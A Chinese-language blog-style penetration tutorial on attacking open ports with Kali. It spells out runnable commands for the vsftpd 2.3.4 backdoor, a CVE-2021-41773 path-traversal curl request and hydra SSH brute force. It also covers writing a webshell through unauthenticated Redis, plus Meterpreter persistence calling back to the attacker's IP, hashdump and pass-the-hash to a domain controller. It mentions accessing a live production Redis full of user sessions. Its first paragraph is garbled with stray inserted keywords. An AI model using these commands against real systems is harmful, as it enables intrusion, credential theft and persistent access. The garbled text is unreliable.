上周三凌晨两点，端口我盯着Metasploitable 2靶机上的入侵6200端口，nmap扫出来是教程vsftpd 2.3.4。这个版本有个著名的端口笑脸后门——登录时用户名末尾加个":)"，直接给你root shell。入侵敲完命令回车，教程屏幕上跳出uid=0(root)的端口时候，后背还是入侵麻了一下。端口入侵这事，教程说穿了就是端口找门。门没锁，入侵或者锁是教程坏的，你就进去了。端口

Kali里最顺手的入侵敲门砖是nmap。别一上来就`nmap -sS -p- 192.168.1.1`全端口扫，教程动静大还慢。我习惯先`nmap -sS -F 目标`扫常见100个端口，再针对性加`-p 22,80,443,3306,6379`这种。有回扫一个内网IP，80和443都关着，但8080开着，跑着Jenkins未授权访问。脚本控制台直接能执行系统命令，连漏洞利用代码都不用写。端口开放不等于有漏洞，但端口关闭一定没戏。这是铁律。

服务指纹识别比端口号本身重要。22端口不一定是OpenSSH，也可能是Dropbear；80端口可能是nginx、Apache、Tomcat，甚至是node.js的express。`nmap -sV -sC 目标`能跑默认脚本，把banner抓回来。有次扫到3306，版本显示MySQL 5.5.40，试了试root空密码，直接连上。`show databases;`看到个flag库，里面就一张表，存着明文flag。这种配置错误比CVE漏洞常见得多。真实环境里，弱口令和默认配置能占一半以上的入口。

拿到端口和服务版本，下一步是搜exp。`searchsploit vsftpd 2.3.4`会列出本地exploit-db里的条目。但别迷信这个。有回搜到个Apache 2.4.49的路径穿越CVE-2021-41773，searchsploit里只有Python2的脚本，跑不起来。手动构造curl请求反而更快：`curl --path-as-is http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd`。工具是死的，协议是活的。理解HTTP路径解析规则比背CVE编号有用。

Metasploit的`auxiliary/scanner`模块适合批量验证。比如`scanner/ssh/ssh_login`，导入用户名字典和密码字典，跑一晚上能撞出几个弱口令。但别在真实授权测试里这么干，锁账户不说，日志里全是你的IP。我一般先用`scanner/ssh/ssh_version`确认服务，再用`ssh_login`只试三组：root/root、admin/admin、test/test。命中率不高但动静小。真要爆破，hydra更直接：`hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://目标`。rockyou.txt里前100个密码就能覆盖不少设备。

Redis未授权是另一条捷径。6379端口开着，`redis-cli -h 目标`连上后`info`看版本，`config get dir`看工作目录。如果没设密码，直接`config set dir /var/www/html`然后`config set dbfilename shell.php`，再`set x "\n\n\n\n"`，`save`。Web目录可写的话，一句话木马就落地了。这招在Docker环境里特别灵，因为容器里Redis默认无密码且以root跑。我见过一个线上Redis，连上后`keys *`看到几十万条用户session，直接能伪造登录。

端口入侵的终点不是拿到shell，是维持访问和横向移动。Meterpreter的`run persistence -U -i 10 -p 4444 -r 你的IP`能写注册表自启，但会被杀软拦。更隐蔽的是`migrate`到系统进程，比如`migrate -N explorer.exe`。然后`hashdump`抓本地哈希，`run post/windows/gather/enum_logged_on_users`看谁在线。有次从一台Web服务器跳到域控，就是靠抓到的本地管理员哈希做PtH（Pass-the-Hash），`psexec`直接拿域管。端口是入口，内网才是战场。

最后说个反直觉的：别把Kali当唯一工具。Windows上装个WSL2跑Kali，或者用Docker起个`kalilinux/kali-rolling`容器，比虚拟机轻量。有回客户现场只给Windows笔记本，我WSL里`apt install nmap hydra sqlmap`，照样干活。工具链是次要的，思路是主要的。端口开着，你就得想：这个服务正常吗？版本旧吗？配置错了吗？认证绕得过去吗？四个问题问完，路就出来了。